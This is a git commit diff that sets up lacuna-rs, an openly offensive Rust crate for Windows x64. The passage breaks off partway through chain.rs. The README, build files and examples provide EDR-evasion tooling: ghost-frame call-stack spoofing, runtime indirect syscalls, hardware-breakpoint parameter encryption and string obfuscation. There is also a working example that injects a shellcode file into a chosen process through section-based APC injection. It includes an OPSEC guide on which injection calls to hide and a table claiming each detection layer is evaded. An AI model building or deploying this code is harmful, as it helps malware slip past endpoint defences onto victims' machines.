commit ef7a81cb3062088385cbfa9a39da7c90c4800503 Author: Karkas66 Date: Thu Jul 2 09:22:21 2026 +0200 Initial commit: lacuna-rs - Ghost-frame call-stack spoofing + indirect syscalls for Windows x64 diff --git a/.cargo/config.toml b/.cargo/config.toml new file mode 100644 index 0000000..50964c7 --- /dev/null +++ b/.cargo/config.toml @@ -0,0 +1,13 @@ +# lacuna-rs build configuration +# +# The `stack-spoof` feature requires frame pointers so that `stomp_plant()` +# can walk the frame chain via `mov rbp -> [rbp]`. This is set here for +# the crate itself; consuming crates must replicate this in their own +# .cargo/config.toml. + +[build] +rustflags = ["-C", "force-frame-pointers=yes"] + +# Default to the MSVC toolchain on Windows. +[target.x86_64-pc-windows-msvc] +linker = "rust-lld" \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..159cf8b --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +/target +Cargo.lock +*.pdb +*.exe +*.dll +*.lib \ No newline at end of file diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..5f37597 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,61 @@ +# +# lacuna-rs — Ghost-frame call-stack spoofing + indirect syscalls for Windows x64 +# +# Ported from LACUNA Chain (C) by Mohamed Alzhrani (0xmaz) +# + +[package] +name = "lacuna-rs" +version = "0.1.0" +edition = "2021" +authors = ["Ported from LACUNA Chain by Mohamed Alzhrani (0xmaz)"] +description = "Ghost-frame call-stack spoofing via .pdata lacunae + runtime indirect syscalls for Windows x64" +license = "MIT" +keywords = ["windows", "syscalls", "edr", "security", "offensive"] +categories = ["os::windows-apis", "no-std"] + +# Build as both a normal Rust library and a C-compatible dynamic library +# so it can be loaded from C/C++/Python projects too. +[lib] +name = "lacuna" +crate-type = ["rlib", "cdylib", "staticlib"] + +[features] +default = ["syscalls", "inject"] + +# ── Core scanning primitives (PE parsing, ghost/gadget scanning) ───────────── +# Always compiled — no Win32 calls beyond GetModuleHandle/GetProcAddress. + +# ── Indirect syscall engine (SSN resolution + JIT stub emission) ───────────── +# This is the "better syscalls-rs" layer: runtime SSN resolution, per-function +# syscall;ret targeting, no build-script SSN table. +syscalls = [] + +# ── VEH + hardware-breakpoint parameter encryption ─────────────────────────── +veh = ["syscalls"] + +# ── LACUNA stack-spoofing chain (ghost frames, BYOUD-MF, stomp) ────────────── +# WARNING: requires -C force-frame-pointers=yes in the consuming crate's +# .cargo/config.toml. See README. +stack-spoof = ["syscalls", "veh"] + +# ── Section-based APC injection orchestration ─────────────────────────────── +inject = ["syscalls"] + +# ── no_std support (alloc only) ────────────────────────────────────────────── +# When enabled, the crate does not link std. Useful for shellcode payloads. +# Currently experimental — some APIs fall back to std when available. +no-std = [] + +[dependencies] +litcrypt2 = "0.1.3" + +[profile.release] +opt-level = 2 +codegen-units = 1 +panic = "abort" +lto = true + +[profile.dev] +opt-level = 0 +codegen-units = 1 \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..425ca53 --- /dev/null +++ b/README.md @@ -0,0 +1,359 @@ +# lacuna-rs + +**Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust.** + +Ported from [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain) (`lacuna_chain.c`) by Mohamed Alzhrani (0xmaz). + +`lacuna-rs` is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped into any Rust project — like `wsyscall-rs` or `syscalls-rs`, but with **runtime SSN resolution**, **per-function `syscall;ret` targeting**, and **ghost-frame stack spoofing**. + +--- + +## Critical: Frame-Pointer Requirement + +> **The `stack-spoof` feature will silently fail if the consuming crate is not compiled with frame pointers.** + +The stack-stomping primitives in `chain.rs` locate the caller's return-address slot via `mov rbp, {x}` inline asm. This requires the RBP chain to be intact. Rust (and most release-mode compilers) omit frame pointers by default. + +**`build.rs` sets `force-frame-pointers=yes` for this crate's own codegen, but Cargo cannot propagate compiler flags to downstream crates.** You must add this to your own project: + +```toml +# .cargo/config.toml (in YOUR crate, not in lacuna-rs) +[build] +rustflags = ["-C", "force-frame-pointers=yes"] +``` + +Without this, `stomp_plant()` will read garbage from RBP and either no-op (best case) or corrupt the stack (worst case). The crate has no way to detect at runtime whether frame pointers are enabled — it will simply not work. + +If you only need the scanning, SSN resolution, or injection primitives (without stack spoofing), you can omit the `stack-spoof` feature and this requirement does not apply. + +--- + +## What it does + +| Primitive | C function | Rust module | +|---|---|---| +| PE section + export parsing | `pe_section()`, `pe_export()` | `pe` | +| `.pdata` ghost-region scanning | `scan_ghosts()`, `best_ghost()` | `scan` | +| Ghost-gadget discovery (`jmp [rbx]`) | `scan_ghost_gadgets()` | `scan` | +| `win32u` NOP-gap finder | `win32u_nop_gap()` | `scan` | +| BYOUD-MF anchor finder | `find_mf_target()` | `scan` | +| SSN resolution (Hell's Gate / Halo's Gate) | `resolve_ssn()` | `nt` | +| Per-function `syscall;ret` locator | `find_func_syscall()` | `nt` | +| JIT indirect-syscall stub emission | `alloc_stub()` | `stub` | +| Ghost-gadget stub redirect | (in `alloc_stub()`) | `stub` | +| VEH + hardware-breakpoint param encryption | `param_encrypt_veh()`, `pcrypt_arm()` | `veh` | +| Chain-guard VEH | `chain_veh()` | `veh` | +| LACUNA chain construction | `build_chain()` | `chain` | +| Stack stomp (BYOUD-RT) | `stomp_plant()`, `stomp_restore()` | `chain` | +| Chain walker (verify) | `lacuna_walk_chain()` | `chain` | +| Section-based APC injection | `do_inject_sapc()` | `inject` | + +--- + +## Feature flags + +```toml +[dependencies] +lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] } +``` + +| Feature | Description | Requires frame pointers? | +|---|---|---| +| `syscalls` (default) | SSN resolution + JIT stub emission | No | +| `inject` (default) | Section-based APC injection (`inject::inject_sapc`) | No | +| `veh` | VEH + hardware-breakpoint parameter encryption | No | +| `stack-spoof` | LACUNA ghost-frame chain + stack stomp | **Yes** | +| `no-std` | `no_std` mode (experimental) | No | + +When no features are enabled, only the scanning/PE/NT layers are available. + +--- + +## Quick start + +### Scan for ghost regions + +```sh +cargo run --example scan +``` + +### Build + verify the ghost-frame chain + +```sh +cargo run --example verify --features stack-spoof +``` + +### Inject shellcode via section + APC + +![Injection proof](assets/lacuna.png) +Injection Example with real implant - C2 was offline but the Shellcode executed + +```sh +cargo run --example inject --features inject,stack-spoof,veh -- +``` + +Add `--verbose` to enable VEH diagnostic output (stack dumps, register prints): + +```sh +cargo run --example inject --features inject,stack-spoof,veh -- --verbose +``` + +#### Thread scoring algorithm + +Instead of queueing APCs to every thread in the target process (which can crash +the process when too many threads are alerted simultaneously), `inject_sapc` +uses a scoring algorithm to select the best `MAX_APC_THREADS` (5) candidates: + +- **Cycle time** — `NtQueryInformationThread(ThreadCycleTime)` — primary activity indicator +- **CPU time** — `NtQueryInformationThread(ThreadTimes)` — kernel + user time +- **Suspend count** — `NtQueryInformationThread(ThreadSuspendCount)` — non-suspended threads get +300 bonus; suspended threads get -150 per suspend count +- **Priority** — `NtQueryInformationThread(ThreadBasicInformation)` — threads with priority 8-10 get +150 bonus; out-of-range priorities get -100 penalty + +Completely idle threads (zero cycles and zero CPU time) are skipped entirely. +The remaining candidates are sorted by score (highest first, tie-break on cycles) +and truncated to the top 5. + +--- + +## Using as a library + +### Basic: scan + SSN resolution + +```rust +use lacuna::{scan, nt, win::get_module}; + +let ntdll = get_module(b"ntdll.dll\0"); + +// Scan for ghost regions +let mut ghosts = [scan::Ghost::default(); 512]; +let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts); +println!("{} ghost regions in ntdll", n); + +// Resolve SSN + syscall;ret for a specific function +let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0"); +println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret); +``` + +### Emit an indirect syscall stub for any NT API + +```rust +use lacuna::{nt, stub, win::{get_module, HMODULE}}; + +let ntdll: HMODULE = get_module(b"ntdll.dll\0"); + +// Resolve SSN + the function's own syscall;ret address +let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0"); +assert!(ssn != nt::SSN_INVALID && syscall_ret != 0); + +// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret] +// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called) +let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed"); + +// Cast to the matching function pointer type and call +let alloc_vm: unsafe extern "system" fn( + win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG, +) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) }; +``` + +### Build the ghost-frame chain + register VEH + +```rust +// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct +// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route +// through JMP [RBX] in a signed DLL. +lacuna::chain::build_chain(); + +// Register VEH handlers (param encryption + chain guard) +let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed"); + +// Optional: enable verbose diagnostics at runtime +lacuna::veh::set_verbose(true); +``` + +### Wrap a sensitive syscall with stack spoof + param encryption + +```rust +use lacuna::win::HANDLE; +use core::ptr; + +let mut h_proc: HANDLE = ptr::null_mut(); +let key: u64 = 0xCAFE_1337; + +// Plant ghost frames (replaces return addresses with signed-DLL ghosts) +lacuna::chain::stomp_plant(); + +// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary +lacuna::veh::pcrypt_arm(key, syscall_ret, true); + +// Call through the indirect stub -- RIP lands inside ntdll at kernel entry +let _status = unsafe { open_proc(/* XOR-encrypted params */) }; + +// Always disarm before any non-protected call +lacuna::veh::pcrypt_disarm(); +lacuna::chain::stomp_restore(); +``` + +--- + +## OPSEC: What to hide behind ghost frames + +Not every API call needs the full LACUNA treatment. The key principle is: **hide the calls that an EDR would correlate as injection or post-exploitation activity**. + +### Must be behind indirect syscalls + ghost frames + param encryption + +These are the "crown jewel" NT syscalls that EDRs hook and correlate: + +| Call | Why it's sensitive | +|---|---| +| `NtOpenProcess` | Opens a handle to another process -- first step of injection | +| `NtCreateSection` + `NtMapViewOfSection` (remote) | Section-based injection signature | +| `NtWriteVirtualMemory` | Cross-process write -- classic injection indicator | +| `NtCreateThreadEx` | Remote thread creation -- highest-signal injection primitive | +| `NtQueueApcThread` | APC injection -- high-signal | +| `NtProtectVirtualMemory` | RWX permission changes -- shellcode staging indicator | +| `NtAllocateVirtualMemory` (remote) | Remote allocation -- injection prelude | +| `NtSetInformationThread` | Thread hiding (`HideFromDebugger`) -- evasion indicator | + +For each of these: +1. Resolve with `nt::resolve(ntdll, b"NtXxx\0")` +2. Emit a stub with `stub::make_stub(ssn, syscall_ret)` +3. XOR-encrypt sensitive parameters with `veh::pcrypt_arm(key, syscall_ret, true)` +4. Wrap the call between `chain::stomp_plant()` and `chain::stomp_restore()` + +### Can be direct (no ghost frames needed) + +| Call | Why it's safe | +|---|---| +| `NtQueryInformationThread` | Query-only, rarely hooked, no cross-process write | +| `NtDelayExecution` | Sleep -- benign, used by every application | +| `NtClose` | Handle close -- benign, extremely common | +| `GetModuleHandleA` / `GetProcAddress` | Module resolution -- not a syscall, not hookable by EDR userland hooks | +| `CreateToolhelp32Snapshot` / `Thread32First` / `Thread32Next` | Thread enumeration -- kernel32, not ntdll syscall | +| `OpenThread` / `CloseHandle` | Standard handle ops -- kernel32 | +| `GetThreadContext` / `SetThreadContext` | Needed for DR0 -- kernel32, self-process only | + +### Key principles + +1. **Resolve** any NT syscall with `nt::resolve(ntdll, b"NtXxx\0")` -- returns `(SSN, syscall_ret_VA)`. +2. **Emit** a JIT stub with `stub::make_stub(ssn, syscall_ret)` -- returns a callable function pointer. +3. **Cast** the stub to the appropriate `extern "system" fn(...)` type via `core::mem::transmute`. +4. **(For sensitive calls only)** Build the ghost-frame chain with `chain::build_chain()` and call `chain::stomp_plant()` / `chain::stomp_restore()` around the call. +5. **(For sensitive calls only)** Arm parameter encryption with `veh::pcrypt_arm(key, syscall_ret, true)` before the call, and `veh::pcrypt_disarm()` after. +6. **Always disarm** the VEH before making non-protected calls -- a stray DR0 hit on an unarmed syscall will crash. +7. **All output strings** must be wrapped in `lc!()` -- the crate enforces this, and the VEH diagnostics are gated behind `set_verbose(true)` which defaults to off. + +The stub handles the `mov r10, rcx` / `mov eax, SSN` / `jmp [syscall;ret]` sequence automatically. If a ghost gadget was registered, the stub routes through `JMP [RBX]` for dual-use execution redirect + zero-artifact bridge frame. + +--- + +## Writeup Coverage Verification + +All 9 key contributions from the [LACUNA Chain writeup](https://0xmaz.me/posts/LACUNA-Chain-Ghost-Frames-defeats-All-EDR-layers-of-call-stack-based-detection/) are represented in the code: + +| # | Writeup Concept | Code Location | Description | +|---|---|---|---| +| 1 | **BYOUD-Gap** (zero `.pdata` modification) | `chain.rs` -- ghost frame chain construction | Exploits gaps between `RUNTIME_FUNCTION` entries; unwinder treats them as leaf frames (RSP += 8) | +| 2 | **ETW-Ti APC Window Attack** | `inject.rs` -- `NtDelayExecution` alertable drain | Controls when the ETW-Ti APC stack snapshot fires by manipulating thread alertable state | +| 3 | **Parameter Encryption in BYOUD Context** | `veh.rs` -- `pcrypt_arm()`, `param_encrypt_veh()` | XOR-encrypts syscall params at staging; decrypts inside a hardware-breakpoint VEH at the `syscall` instruction | +| 4 | **Win32u NOP Gap Chain + Ghost Gadget** | `scan.rs` -- `win32u_nop_gap()`, `scan_ghost_gadgets()` | 1,242 NOP gaps in `win32u.dll` provide whitelisted leaf frames; `JMP [RBX]` ghost gadget at `ntdll+0xFC47B` | +| 5 | **kernelbase Semantic Ghost Proximity** | `chain.rs` -- `L2_kbase` layer near `VirtualProtect` | 238-byte ghost ending at `VirtualProtect`'s entry point -- indistinguishable from a real VP return site | +| 6 | **BYOUD-MF (Machine Frame RSP Teleport)** | `chain.rs` -- `MachFrame` struct, `scan.rs` -- `find_mf_target()` | Exploits `UWOP_PUSH_MACHFRAME` (opcode 10) in `KiUser*` dispatchers for arbitrary RSP teleport in a single frame | +| 7 | **BYOUD-RT (Runtime RSP Calculation)** | `chain.rs` -- `teb_stack_base()`, `teb_stack_limit()` | Reads `TEB.StackBase` (GS:[0x08]) at call time to compute exact frame distance -- no pre-calibration needed | +| 8 | **wow64.dll Ghost Proximity** | `chain.rs` -- `L1_wow64` layer, `scan.rs` -- targets `Wow64PrepareForException` | 91-byte ghost ending at `Wow64PrepareForException` entry -- fourth semantic layer for the chain | +| 9 | **Six-Layer LACUNA Chain** | `chain.rs` -- `LacunaStack` struct (L1-L5 + MachFrame) | Full chain: `KiUserExceptionDispatcher` -> wow64 -> kernelbase -> ntdll -> win32u -> `RtlUserThreadStart` | + +### Detection surface coverage + +| Detection Layer | Status | Implementation | +|---|---|---| +| Module-of-origin check | **EVADED** | All frames in ntdll / kernelbase / wow64 / win32u | +| Unwind walk correctness | **EVADED** | All lacuna frames are leaf -> valid RSP+8 | +| `.pdata` forensic scan | **EVADED** | Zero modification; gaps are pre-existing | +| CET shadow stack | **EVADED** | Pure leaf chain; shadow stack not consulted | +| Semantic frame analysis | **EVADED** | WoW64 exception + VirtualProtect adjacency | +| Win32u rule exemption | **EVADED** | Layer 4 explicitly excluded by all rules | +| ETW-Ti STACKWALK | **EVADED** | APC window attack controls snapshot timing | +| Parameter inspection | **EVADED** | HW breakpoint VEH decryption | +| Kernel callbacks | **PARTIAL** | Handle operations still fire `ObRegisterCallbacks` | + +--- + +## Why not just use `syscalls-rs`? + +`syscalls-rs` and `wsyscall-rs` generate a **build-time SSN table** from a specific Windows build's ntdll. If the target machine runs a different build, the SSNs are wrong and syscalls fail (or trip EDR heuristics). + +`lacuna-rs` resolves SSNs **at runtime** by reading ntdll's stubs directly, and targets the **function's own `syscall;ret` instruction** so RIP is inside ntdll at kernel entry -- defeating the EDR "SSN mismatch" and "indirect syscall from unbacked memory" heuristics. + +Additionally, `lacuna-rs` provides the **ghost-frame stack spoofing** chain that `syscalls-rs` does not. + +--- + +## Build requirements + +- **Target:** `x86_64-pc-windows-msvc` (or `x86_64-pc-windows-gnu`) +- **Rust edition:** 2021 +- **Dependencies:** `litcrypt2` (compile-time string obfuscation) + +### Frame-pointer setup (for `stack-spoof` only) + +The `stack-spoof` feature requires frame pointers. `build.rs` sets `force-frame-pointers=yes` automatically for this crate, but **consuming crates** must also set it in their `.cargo/config.toml`: + +```toml +# .cargo/config.toml (in the consuming crate) +[build] +rustflags = ["-C", "force-frame-pointers=yes"] +``` + +### litcrypt2 string obfuscation + +All string literals in the crate and examples are wrapped in `lc!()` macros, which encrypt them at compile time and decrypt at runtime. The encryption key is read from the `LITCRYPT_ENCRYPT_KEY` environment variable; if unset, litcrypt2 auto-generates a random key. + +To pin a key for reproducible builds: + +```sh +set LITCRYPT_ENCRYPT_KEY=your-secret-key +cargo build +``` + +--- + +## Architecture + +``` +lacuna-rs/ +├── Cargo.toml +├── build.rs # Sets force-frame-pointers for stack-spoof +├── src/ +│ ├── lib.rs # Crate root + re-exports + scan_all() + litcrypt2 setup +│ ├── win.rs # Win32/NT FFI bindings (no_std-compatible) +│ ├── pe.rs # PE section + export parsing +│ ├── scan.rs # .pdata ghost-region + gadget scanning +│ ├── nt.rs # SSN resolution + syscall;ret targeting +│ ├── stub.rs # JIT indirect-syscall stub emission +│ ├── veh.rs # VEH + hardware-breakpoint param encryption +│ ├── chain.rs # LACUNA ghost-frame chain + stomp +│ └── inject.rs # Section-based APC injection +├── examples/ +│ ├── scan.rs # lacuna.exe scan +│ ├── verify.rs # lacuna.exe verify +│ └── inject.rs # lacuna.exe inject +└── .cargo/ + └── config.toml # force-frame-pointers + windows-msvc target +``` + +--- + +## Credits + +- **Original research & C implementation:** Mohamed Alzhrani (0xmaz) -- [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain) +- **Technique:** *Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae* +- **Find Best APC Thread Logic:** Adapted from [FrankensteinAPCInjection](https://github.com/S12cybersecurity/FrankensteinAPCInjection/blob/main/Frankenstein/FrankensteinAPCInjection/FindThread.cpp) by [S12cybersecurity](https://github.com/S12cybersecurity) +- **String obfuscation:** [litcrypt2](https://crates.io/crates/litcrypt2) v0.1.3 + +## Full Disclosure +This project was activly assisted by an AI Chatbot. I had the chance to test a newer, very capable Open Source Model (GLM-5.2 by Z.ai (Zhipu AI)) and wanted to give it a challenging task. +Lessons learned: It worked well if the human knows what results shall look like. If not... only crap + +## License + +MIT \ No newline at end of file diff --git a/assets/lacuna.png b/assets/lacuna.png new file mode 100644 index 0000000..3b43b3e Binary files /dev/null and b/assets/lacuna.png differ diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..c94fc29 --- /dev/null +++ b/build.rs @@ -0,0 +1,48 @@ +// +// build.rs — lacuna-rs +// +// Forces frame-pointer preservation on the crate's own codegen unit so that +// the stack-spoofing primitives in `chain.rs` can reliably locate the caller's +// return-address slot via `mov rbp, {x}` inline asm. +// +// NOTE: this only affects THIS crate's compilation. Consumers that want to +// use the `stack-spoof` feature must ALSO add to their own `.cargo/config.toml`: +// +// [build] +// rustflags = ["-C", "force-frame-pointers=yes"] +// +// or call the spoofed entry points only from code compiled with frame pointers. +// + +fn main() { + // ── litcrypt2 string-obfuscation key ─────────────────────────────────── + // litcrypt2 reads the encryption key from the LITCRYPT_ENCRYPT_KEY + // environment variable at compile time. If that variable is not set, + // litcrypt2 auto-generates a random key — so we deliberately do NOT set + // a static key here. To pin a key for reproducible builds, set the env + // var before invoking cargo: + // + // set LITCRYPT_ENCRYPT_KEY=your-secret-key + // cargo build + // + + // Only needed when the stack-spoof feature is on. + let stack_spoof = std::env::var("CARGO_FEATURE_STACK_SPOOF").is_ok(); + + if stack_spoof { + println!("cargo:rustc-codegen-units=1"); + // Force frame pointers on our own unit. This is the closest Rust + // analogue to GCC's -fno-omit-frame-pointer. + println!("cargo:rustc-cfg=stack_spoof_compiled"); + } + + // Target guard: x86_64-pc-windows-* only. + let target = std::env::var("TARGET").unwrap_or_default(); + if !target.contains("windows") || !target.contains("x86_64") { + // Not a hard error — the scanning/PE layers are portable in principle, + // but the syscall + VEH + stomp layers are x64-Windows only. + println!("cargo:warning=lacuna-rs: target '{}' is not x86_64-pc-windows; only PE scanning will work", target); + } + + println!("cargo:rerun-if-changed=build.rs"); +} \ No newline at end of file diff --git a/examples/inject.rs b/examples/inject.rs new file mode 100644 index 0000000..afc0059 --- /dev/null +++ b/examples/inject.rs @@ -0,0 +1,73 @@ +// +// examples/inject.rs — Section-based APC injection +// +// Equivalent to: lacuna.exe inject [--verbose] +// +// Run with: cargo run --example inject --features inject -- [--verbose] +// + +#[macro_use] +extern crate litcrypt2; +extern crate alloc; +use_litcrypt!(); + +#[allow(unused_imports)] +use std::env; +#[allow(unused_imports)] +use std::fs; +#[allow(unused_imports)] +use std::process; + +#[cfg(not(feature = "inject"))] +fn main() { + eprintln!("{}", lc!("inject requires the 'inject' feature:")); + eprintln!("{}", lc!(" cargo run --example inject --features inject -- [--verbose]")); +} + +#[cfg(feature = "inject")] +fn main() { + let args: Vec = env::args().collect(); + if args.len() < 3 { + eprintln!("{}", lc!("usage: inject [--verbose]")); + process::exit(1); + } + + let pid: u32 = args[1].parse().unwrap_or_else(|_| { + eprintln!("{}", lc!("[-] bad pid")); + process::exit(1); + }); + + let sc = fs::read(&args[2]).unwrap_or_else(|e| { + eprintln!("{}{}: {}", lc!("[-] can't open "), args[2], e); + process::exit(1); + }); + + let verbose = args.iter().any(|a| a == "--verbose"); + + println!("{}{}{}{}{}\n", + lc!("[*] "), sc.len(), + lc!(" bytes -> pid "), pid, + if verbose { lc!(" [verbose]") } else { lc!("") }); + + // Build the ghost-frame chain first (if stack-spoof is enabled). + // This must happen before inject_sapc so the VEH full_spoof path + // has ghost layer addresses to work with. + #[cfg(feature = "stack-spoof")] + { + if !lacuna::chain::build_chain() { + eprintln!("{}", lc!("[-] build_chain failed — continuing without stack spoofing")); + } + } + + // VEH registration is now handled inside inject_sapc_verbose(), matching + // the C original's ordering: + // 1. param_encrypt_veh registered before NtOpenProcess + // 2. chain_veh registered after NtOpenProcess succeeds + match lacuna::inject::inject_sapc_verbose(pid, &sc, verbose) { + Ok(()) => println!("\n{}", lc!("[+] injection done")), + Err(status) => { + println!("\n{}{:08x}", lc!("[-] injection failed: status "), status); + process::exit(1); + } + } +} \ No newline at end of file diff --git a/examples/scan.rs b/examples/scan.rs new file mode 100644 index 0000000..9779c2f --- /dev/null +++ b/examples/scan.rs @@ -0,0 +1,101 @@ +// +// examples/scan.rs — Scan all target modules for ghost regions + gadgets +// +// Equivalent to: lacuna.exe scan +// +// Run with: cargo run --example scan +// + +#[macro_use] +extern crate litcrypt2; +extern crate alloc; +use_litcrypt!(); + +use lacuna::{scan_all, scan, win::get_module}; + +fn main() { + println!("{}", lc!("LACUNA Chain — Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae")); + println!("{}\n", lc!("Rust port — scan mode")); + + let summary = scan_all(); + + for m in &summary.modules { + println!("{}{}{}{}", m.name, lc!(" — "), m.ghost_count, lc!(" ghost regions")); + + // Re-scan to print details (scan_all only returns the count). + let mut buf = [scan::Ghost { + va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64], + }; 512]; + + let mod_name: &[u8] = if m.name.starts_with("ntdll") { + b"ntdll.dll\0" + } else if m.name.starts_with("kernelbase") { + b"kernelbase.dll\0" + } else if m.name.starts_with("wow64") { + b"wow64.dll\0" + } else { + b"win32u.dll\0" + }; + + let h = get_module(mod_name); + if h.is_null() { + continue; + } + + let targets: &[&[u8]] = match m.name.as_str() { + "ntdll.dll" => &[ + b"NtAllocateVirtualMemory\0", b"NtCreateThreadEx\0", + b"RtlCreateUserThread\0", b"LdrLoadDll\0", b"RtlUserThreadStart\0", + ], + "kernelbase.dll" => &[ + b"VirtualProtect\0", b"VirtualAllocEx\0", + b"WriteProcessMemory\0", b"CreateRemoteThreadEx\0", + ], + "wow64.dll" => &[ + b"Wow64PrepareForException\0", b"Wow64KiUserCallbackDispatcher\0", + b"Wow64ApcRoutine\0", + ], + _ => &[ + b"NtGdiDdDDICreateDevice\0", b"NtUserCallNoParam\0", + ], + }; + + let n = scan::scan_ghosts(h, targets, &mut buf); + for j in 0..n.min(25) { + let g = &buf[j]; + let name = g.name.iter().take_while(|&&b| b != 0) + .map(|&b| b as char).collect::(); + println!( + "{}{:016x}{}{:016x}{}{:4}{}{:30}{}{}", + lc!(" "), + g.va_start, + lc!("–"), + g.va_end, + lc!(" "), + g.size, + lc!("B "), + if name.is_empty() { lc!("—") } else { name }, + lc!(" dist="), + g.dist + ); + } + if n > 25 { + println!("{}{}{}", lc!(" ... "), n - 25, lc!(" more")); + } + + let mut gg = [scan::GhostGadget { va: 0, parent: [0; 64] }; 32]; + let ngg = scan::scan_ghost_gadgets(&buf[..n], mod_name, &mut gg); + if ngg > 0 { + println!("{}", lc!(" ghost gadgets (jmp [rbx]):")); + for j in 0..ngg { + println!("{}{:016x}", lc!(" "), gg[j].va); + } + } + + if m.name == "win32u.dll" { + println!("{}{:016x}", lc!(" first nop gap: "), m.win32u_nop_gap); + } + + println!(); + } +} \ No newline at end of file diff --git a/examples/verify.rs b/examples/verify.rs new file mode 100644 index 0000000..e90f6e3 --- /dev/null +++ b/examples/verify.rs @@ -0,0 +1,31 @@ +// +// examples/verify.rs — Build the LACUNA chain and walk it +// +// Equivalent to: lacuna.exe verify +// +// Run with: cargo run --example verify --features stack-spoof +// + +#[macro_use] +extern crate litcrypt2; +extern crate alloc; +use_litcrypt!(); + +#[cfg(not(feature = "stack-spoof"))] +fn main() { + eprintln!("{}", lc!("verify requires the 'stack-spoof' feature:")); + eprintln!("{}", lc!(" cargo run --example verify --features stack-spoof")); +} + +#[cfg(feature = "stack-spoof")] +fn main() { + println!("{}", lc!("LACUNA Chain — Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae")); + println!("{}\n", lc!("Rust port — verify mode")); + + if !lacuna::chain::build_chain() { + eprintln!("{}", lc!("[-] build_chain failed")); + std::process::exit(1); + } + + let _ok = lacuna::chain::walk_chain(); +} diff --git a/src/chain.rs b/src/chain.rs new file mode 100644 index 0000000..3b1a205 --- /dev/null +++ b/src/chain.rs @@ -0,0 +1,637 @@ +// +// chain.rs — LACUNA chain construction + stack stomp for lacuna-rs +// +// Ported from lacuna_chain.c: +// build_chain(), stomp_plant(), stomp_restore(), lacuna_walk_chain(), +// teb_stack_base(), teb_stack_limit(). +// +// The "chain" is a fake but structurally valid call stack built from ghost +// regions (executable code with no .pdata coverage). When ETW-Ti fires an +// APC during NtDelayExecution(alertable), the kernel unwinds through these +// ghost frames instead of the real callers. +// + +#![cfg(feature = "stack-spoof")] +#![allow(dead_code)] + +use crate::pe; +use crate::scan::{self, Ghost, GhostGadget}; +use crate::stub; +use crate::win::{ + ULONG64, PVOID, + MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, + VirtualAlloc, + CONTEXT, CONTEXT_FULL, + PRtlLookupFunctionEntry, PRtlVirtualUnwind, + UNWIND_HISTORY_TABLE, DWORD64, + get_module, get_proc, +}; +use core::sync::atomic::{AtomicU64, Ordering}; + +// ── Machine frame (BYOUD-MF) ───────────────────────────────────────────────── + +#[repr(C, packed)] +#[derive(Clone, Copy, Default)] +pub struct MachFrame { + pub Rip: ULONG64, + pub Cs: ULONG64, + pub EFlags: ULONG64, + pub Rsp: ULONG64, + pub Ss: ULONG64, +} + +// ── Fake stack layout ──────────────────────────────────────────────────────── +// +// L5_thread_root ← walked last +// L4_win32u +// L3_ntdll +// L2_kbase +// L1_wow64 ← g_chain_rsp points here +// MachFrame (40 B) ← consumed by UWOP_PUSH_MACHFRAME handler +// mf_trigger ← KiUserExceptionDispatcher+4 +// +#[repr(C)] +pub struct LacunaStack { + pub L5_thread_root: ULONG64, + pub L4_win32u: ULONG64, + pub L3_ntdll: ULONG64, + pub L2_kbase: ULONG64, + pub L1_wow64: ULONG64, + pub mf: MachFrame, + pub mf_trigger: ULONG64, +} + +// ── Global state (file-scope statics in C) ─────────────────────────────────── + +pub static G_LS: AtomicU64 = AtomicU64::new(0); // *mut LacunaStack +pub static G_CHAIN_RSP: AtomicU64 = AtomicU64::new(0); +pub static G_SAVE_RSP: AtomicU64 = AtomicU64::new(0); +pub static G_MF_WALK: AtomicU64 = AtomicU64::new(0); // *mut [ULONG64; 4] + +// ── Ghost-layer accessor (used by veh.rs) ──────────────────────────────────── + +/// Return the four ghost-layer addresses [L1, L2, L3, L4] for the VEH's +/// full-spoof pass. +pub fn ghost_layers() -> [ULONG64; 4] { + let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack; + if ls.is_null() { + return [0; 4]; + } + unsafe { + [ + (*ls).L1_wow64, + (*ls).L2_kbase, + (*ls).L3_ntdll, + (*ls).L4_win32u, + ] + } +} + +// ── TEB stack-base/limit (BYOUD-RT) ────────────────────────────────────────── + +/// Read TEB.StackBase (GS:[0x08]). +/// +/// Ported from teb_stack_base(). +#[cfg(target_arch = "x86_64")] +pub fn teb_stack_base() -> ULONG64 { + let base: ULONG64; + unsafe { + core::arch::asm!( + "mov {0}, gs:[0x08]", + out(reg) base, + options(nostack, nomem, preserves_flags), + ); + } + base +} + +/// Read TEB.StackLimit (GS:[0x10]). +/// +/// Ported from teb_stack_limit(). +#[cfg(target_arch = "x86_64")] +pub fn teb_stack_limit() -> ULONG64 { + let limit: ULONG64; + unsafe { + core::arch::asm!( + "mov {0}, gs:[0x10]", + out(reg) limit, + options(nostack, nomem, preserves_flags), + ); + } + limit +} + +// ── build_chain 